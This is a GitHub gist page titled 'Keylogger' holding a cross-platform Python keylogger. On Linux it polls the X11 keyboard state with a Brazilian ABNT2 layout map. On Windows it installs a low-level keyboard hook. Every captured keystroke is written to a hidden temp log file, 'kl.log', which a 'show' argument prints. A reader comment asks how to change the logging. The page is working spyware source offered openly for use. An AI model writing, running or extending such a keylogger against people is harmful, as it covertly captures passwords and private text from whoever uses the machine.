Skip to content

Instantly share code, notes, and snippets.

@phoemur
Created September 17, 2015 20:13
Show Gist options
  • Save phoemur/4d4940e2ca940b4e2aaf to your computer and use it in GitHub Desktop.
Save phoemur/4d4940e2ca940b4e2aaf to your computer and use it in GitHub Desktop.
Keylogger
#!/usr/bin/env python3
import ctypes
import os
import sys
import tempfile
from ctypes.util import find_library
from time import sleep
if 'win32' in sys.platform:
from ctypes import c_void_p, c_int, create_string_buffer, sizeof, windll, Structure, POINTER, WINFUNCTYPE, CFUNCTYPE, POINTER
from ctypes.wintypes import BOOL, DOUBLE, DWORD, HBITMAP, HDC, HGDIOBJ, HWND, INT, LPARAM, LONG, RECT, UINT, WORD, MSG
TMPFILE = os.path.join(tempfile.gettempdir(), 'kl.log')
WH_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100
CTRL_CODE = 162
class linux_keylogger(object):
def __init__(self):
self.keymap_values_dict = {
1: {
2: 'esc',
4: '1',
8: '2',
16: '3',
32: '4',
64: '5',
128: '6',
},
2: {
1: '7',
2: '8',
4: '9',
8: '0',
16: '-',
32: '=',
64: 'backspace',
128: 'tab',
},
3: {
1: 'q',
2: 'w',
4: 'e',
8: 'r',
16: 't',
32: 'y',
64: 'u',
128: 'i',
},
4: {
1: 'o',
2: 'p',
4: '[',
8: ']',
16: 'enter',
32: 'left ctrl',
64: 'a',
128: 's',
},
5: {
1: 'd',
2: 'f',
4: 'g',
8: 'h',
16: 'j',
32: 'k',
64: 'l',
128: ';',
},
6: {
1: '\'',
2: '`',
4: 'left shift',
8: '\\',
16: 'z',
32: 'x',
64: 'c',
128: 'v',
},
7: {
1: 'b',
2: 'n',
4: 'm',
8: ',',
16: '.',
32: '/',
64: 'right shift',
128: 'keypad *',
},
8: {
1: 'left alt',
2: 'spacebar',
4: 'capslock',
8: 'f1',
16: 'f2',
32: 'f3',
64: 'f4',
128: 'f5',
},
9: {
1: 'f6',
2: 'f7',
4: 'f8',
8: 'f9',
16: 'f10',
32: 'keypad bloqnum',
128: 'keypad 7',
},
10: {
1: 'keypad 8',
2: 'keypad 9',
4: 'keypad -',
8: 'keypad 4',
16: 'keypad 5',
64: 'keypad +',
32: 'keypad 6',
128: 'keypad 1',
},
11: {
1: 'keypad 2',
2: 'keypad 3',
4: 'keypad 0',
8: 'keypad .',
64: '<',
128: 'f11',
},
12: {
1: 'f12',
},
13: {
1: 'keypad intro',
2: 'right ctrl',
4: 'keypad /',
8: 'printscreen',
16: 'right alt',
64: 'home',
128: 'up',
},
14: {
1: 'repag',
2: 'left',
4: 'right',
8: 'end',
16: 'down',
32: 'avpag',
64: 'insert',
128: 'delete',
},
16: {
32: 'left super',
128: 'right super',
},
}
self.modifiers = (
'left shift', 'right shift',
'left ctrl', 'right ctrl',
'left alt', 'right alt',
'left super', 'right super',
)
self.command_keys = (
'esc',
'f1', 'f2', 'f3', 'f4', 'f5', 'f6', 'f7', 'f8', 'f9', 'f10', 'f11', 'f12',
'alt',
'backspace',
'tab',
'enter',
'spacebar',
'capslock',
'keypad bloqnum',
'keypad intro',
'printscreen',
'home',
'up',
'repag',
'left',
'right',
'end',
'down',
'avpag',
'insert',
'delete',
'keypad 0', 'keypad 1', 'keypad 2', 'keypad 3', 'keypad 4', 'keypad 5',
'keypad 6', 'keypad 7', 'keypad 8', 'keypad 9', 'keypad .', 'keypad /',
'keypad *', 'keypad -', 'keypad +',
)
self.br_abnt2 = {
'no_mods': {
';': 'ç',
'`': "'",
'-': '-',
'=': '=',
'<': '\\',
'[': '´',
']': '[',
'\'': '~',
'\\': ']',
',': ',',
'.': '.',
'/': ';',
},
'shift': {
';': 'Ç',
'0': ')',
'1': '!',
'2': '@',
'3': '#',
'4': '$',
'5': '%',
'6': '¨',
'7': '&',
'8': '*',
'9': '(',
'`': '"',
'-': '_',
'=': '+',
'<': '|',
'[': '`',
']': '{',
'\'': '^',
'\\': '}',
',': '<',
'.': '>',
'/': ':',
'keypad /': '<keypad />',
'keypad *': '<keypad *>',
'keypad intro': '<keypad intro>',
},
'right_alt': {
'q': '/',
'0': '}',
'1': '¹',
'2': '²',
'3': '³',
'4': '£',
'5': '¢',
'6': '¬',
'7': '{',
'8': '[',
'9': ']',
'`': '¬',
'-': '\\',
'=': '§',
'<': 'º',
'[': '´',
']': 'ª',
'\'': '~',
'\\': 'º',
'.': '·',
},
}
if not find_library('X11'):
raise RuntimeError('X11 library is required.')
self.digits = '0123456789'
self.letters = 'abcdefghijklmnopqrstuvwxyz'
self.x11 = ctypes.cdll.LoadLibrary(find_library("X11"))
self.display = self.x11.XOpenDisplay(None)
# This contains the keyboard state.
# 32 bytes, with each bit representing the state for a single key.
self.raw_keymap = (ctypes.c_char * 32)()
self.last_keys = dict(modifiers=[], regular=[])
self.last_keymap = None
def get_keymap(self):
"""Returns X11 Keymap as a list of integers"""
self.x11.XQueryKeymap(self.display, self.raw_keymap)
try:
keyboard = [ord(byte) for byte in self.raw_keymap]
except TypeError:
return None
return keyboard
def get_keys(self, keymap):
"""Extract keys pressed from transformed keymap"""
keys = dict(modifiers=[], regular=[])
# loop on keymap bytes
for keymap_index, keymap_byte in enumerate(keymap):
try:
keymap_values = self.keymap_values_dict[keymap_index]
except KeyError:
continue
# loop on keymap_values for that keymap byte
for key, value in keymap_values.items():
if not keymap_byte & key:
continue
elif value in self.modifiers:
keys['modifiers'].append(value)
elif not keys['regular']:
keys['regular'].append(value)
return keys
def pt_br(self, keys):
"""Apply brazilian br-abnt2 layout to the pressed keys"""
key = keys['regular'][0]
modifiers = keys['modifiers']
try:
if not modifiers:
if key in self.letters or key in self.digits:
res = key
elif key in self.command_keys:
res = '<' + key + '>'
else:
res = self.br_abnt2['no_mods'][key]
elif self.only_shifts(modifiers):
if key in self.letters:
res = key.upper()
else:
res = self.br_abnt2['shift'][key]
elif self.only_right_alt(modifiers):
res = self.br_abnt2['right_alt'][key]
else:
res = None
except KeyError:
res = None
return res
def log(self, keys):
with open(TMPFILE, 'a') as f:
f.write(keys)
def only_shifts(self, modifiers):
"""Check if modifiers pressed are only shifts"""
if not modifiers or len(modifiers) > 2:
return False
if len(modifiers) == 2:
return 'left shift' in modifiers and 'right shift' in modifiers
if len(modifiers) == 1:
return 'left shift' in modifiers or 'right shift' in modifiers
def only_right_alt(self, modifiers):
"""Check if the only modifier pressed is right alt"""
if not modifiers or len(modifiers) > 1:
return False
return 'right alt' in modifiers
def run(self):
"""Main loop"""
while True:
sleep(0.02)
keymap = self.get_keymap()
if keymap == self.last_keymap or not keymap:
continue
keys = self.get_keys(keymap)
if keys['regular'] and keys['regular'] != self.last_keys['regular']:
transformed_keys = self.pt_br(keys)
if transformed_keys is not None:
self.log(transformed_keys)
self.last_keymap = keymap
self.last_keys = keys
class windows_keylogger(object):
# Stolen from http://earnestwish.com/2015/06/09/python-keyboard-hooking/
def __init__(self):
self.exit = False
self.hooked = None
self.keys = ''
def installHookProc(self, pointer):
self.hooked = ctypes.windll.user32.SetWindowsHookExA(
WH_KEYBOARD_LL,
pointer,
windll.kernel32.GetModuleHandleW(None),
0
)
if not self.hooked:
return False
return True
def uninstallHookProc(self):
if self.hooked is None:
return
ctypes.windll.user32.UnhookWindowsHookEx(self.hooked)
self.hooked = None
def getFPTR(self, fn):
CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
return CMPFUNC(fn)
def hookProc(self, nCode, wParam, lParam):
if wParam is not WM_KEYDOWN:
return ctypes.windll.user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
self.keys += chr(lParam[0])
if self.keys:
with open(TMPFILE, 'a') as f:
f.write(self.keys)
self.keys = ''
if (CTRL_CODE == int(lParam[0])) or (self.exit == True):
self.uninstallHookProc()
return ctypes.windll.user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
def startKeyLog(self):
msg = MSG()
ctypes.windll.user32.GetMessageA(ctypes.byref(msg), 0, 0, 0)
def run(self):
pointer = self.getFPTR(self.hookProc)
if self.installHookProc(pointer):
self.startKeyLog()
def __del__(self):
self.uninstallHookProc()
if __name__ == '__main__':
if len(sys.argv) == 2 and sys.argv[1] == 'show':
with open(TMPFILE, mode='r') as fd:
print(fd.read())
sys.exit(0)
if 'win32' in sys.platform:
windows_keylogger().run()
else:
linux_keylogger().run()
@FreehandThrower
Copy link

Hi, this code is somewhat old but if someone knows how i could make all keys a new line and delete older than 10 keystrokes i would appreciate the help.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment